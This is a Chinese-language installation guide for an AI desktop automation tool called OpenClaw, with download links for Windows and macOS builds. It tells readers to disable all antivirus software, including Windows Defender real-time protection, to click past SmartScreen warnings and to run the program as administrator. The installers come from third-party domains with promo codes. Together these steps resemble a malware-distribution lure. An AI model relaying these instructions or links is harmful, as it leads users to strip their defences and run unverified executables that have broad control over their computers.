✨OpenClaw AI 自动化工具｜小白向双平台安装踩坑全记录
适配系统：Windows10/11 64 位、macOS 12 及以上💡 当前版本：Windows v2.9.3 /macOS v2.7.9
很多小伙伴想体验可以接管电脑操作的 AI 工具，但是一碰到环境搭建就头大🤦♂️。各种 Python、Node.js 版本对不上，依赖一堆报错，折腾半天也跑不起来。OpenClaw 把所有依赖全部打包内置，全程可视化图形界面，完全不用敲代码，普通人花几分钟就可以部署完成，感受本地 AI 自动化的魅力🖥️。
🛡️部署前一定要注意！防止安装翻车
解压压缩包、启动安装程序之前，请把电脑上所有安全防护软件全部关闭。像 360 安全卫士、腾讯电脑管家、火绒安全，还有 Windows Defender 的实时保护都需要关掉。
该工具拥有读写本地文件、调用系统权限、模拟鼠标键盘的能力，很容易被安全软件误判为风险程序😱。一旦核心文件被隔离删除，安装流程就会直接失败。项目属于开源项目，有兴趣的朋友可以去 GitHub 查阅源码确认安全性。
📥获取对应系统安装包
- Windows v2.9.3 版本下载链接：https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
- macOS v2.7.9 版本下载链接：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
📦解压压缩包，设置合规安装目录
优先使用 7‑Zip 或者 WinRAR 进行解压，系统自带解压工具很容易出现文件损坏、文件丢失的问题。右键压缩包，选择解压到当前文件夹，生成对应系统的程序文件夹。
打开解压出来的文件夹，找到红色龙虾样式的启动程序双击运行🦞。Windows 系统弹出 SmartScreen 安全提示框，点击更多信息，选择仍要运行即可继续。
进入欢迎界面点击开始使用，跳转至安装路径选择页面。
⚠️非常重要： 安装路径必须全部使用英文字符，不能出现中文、空格、特殊符号。尽量不要安装到 C 盘，避免占用系统盘存储空间。 ✅推荐路径：D:\OpenClaw、E:\AITools\OpenClaw ❌错误路径：D:\AI 工具软件 \OpenClaw
勾选用户协议以及免责声明，点击开始安装，进入全自动部署阶段。
⚙️全自动部署，耐心等待即可
点击开始安装之后，程序自动完成全部环境适配工作，整体耗时 3‑5 分钟⌛，电脑配置高低会影响实际耗时。部署过程千万不要关闭窗口，强制退出会直接导致部署中断出错。
后台会自动完成这些工作：
- 检测本机软硬件环境，自动补齐 Git、Node.js、Python 等缺失的依赖组件
- 根据当前操作系统，部署 OpenClaw 全部核心程序资源
- 安装浏览器控制模块、键鼠模拟组件，保障自动化任务正常执行
- 生成设备专属配置文件，完成程序初始化，同时创建桌面快捷启动图标
当安装进度走到 100%，软件会自动弹出主操作界面🥳。
🔎第一次启动，确认服务正常工作
安装结束自动进入初始化页面，页面提示「正在等待 Gateway 就绪...」。 第一次启动需要初始化后台服务，等待 1‑3 分钟属于正常情况⏳，后续打开软件加载速度会快很多，仅需数秒。
界面右上角显示Gateway 在线✅，就代表整套部署已经成功完成。
各功能板块简单说明：
- 右上角：Gateway 服务状态、重启按钮、日志查看入口、Tokens 额度信息
- 左侧面板：本地会话、渠道切换栏，可以新建对话，查看过往历史任务
- 中间窗口：对话交互区域，支持切换多款 AI 模型，代码片段自动高亮
- 底部输入框：输入自然语言任务指令；Enter 发送消息，Shift+Enter 换行，支持切换不同运行模式
🧪执行测试任务，体验自动化效果
部署完成之后不需要额外修改任何配置，直接在输入框输入自然语言描述的任务就可以使用。AI 会自动理解拆解需求，调用组件操控电脑完成对应的操作。任务描述越详细，执行的效果就越稳定👍。
可以复制下面几条指令快速做功能验证：
- 将 D 盘下载文件夹里面的文件，按照文件类型新建子文件夹做分类整理
- 打开记事本，写入 “OpenClaw 部署成功”，把文件保存到电脑桌面
- 查询电脑各个磁盘剩余存储空间，整理成文本展示出来
🚩常见问题以及解决办法
😵安装失败，双击启动没有反应
确认所有安全防护软件已经关闭；问题依旧的话，删除旧的解压文件夹，重新解压安装包再次尝试。
🟠Gateway 一直显示离线
- 检查安装路径，确认不存在中文、空格、特殊符号
- 点击右上角重启按钮，重新启动 Gateway 后台服务
- 完全关闭软件，右键启动程序，选择以管理员身份运行
🌐弹出网络错误提示
第一次启动需要联网完成初始化，关闭代理、VPN 工具，网络恢复正常后重试。
💰Tokens 额度不足提示
内置额度可以满足绝大多数基础使用场景，额度耗尽可以在软件内进行补充，不会影响软件核心自动化能力。
✍️无法输入、发送任务指令
等待 Gateway 状态变为在线之后再操作；问题依旧，建议完整重装程序。
💡实用小建议
- 💾安装磁盘建议预留 5G 以上存储空间，用来存放模型缓存以及后续技能扩展包。
- 🖱️桌面生成快捷图标之后，后续直接双击图标启动，不用反复解压重装。
- 💬想要通过飞书、微信下发任务：部署完成后进入设置‑聊天渠道完成参数配置。
- 🔄版本升级：直接下载新版本安装包覆盖原有文件夹即可，不需要卸载旧版本。
OpenClaw 采用一体化打包，没有广告弹窗，也不会捆绑其他软件👏，部署完成就可以借助 AI 完成各类重复繁琐的办公工作。后续会持续更新技能拓展、本地大模型接入、多渠道联动相关实操教程。
📎安装包下载地址
- Windows v2.9.3 版本：https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
- macOS v2.7.9 版本：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C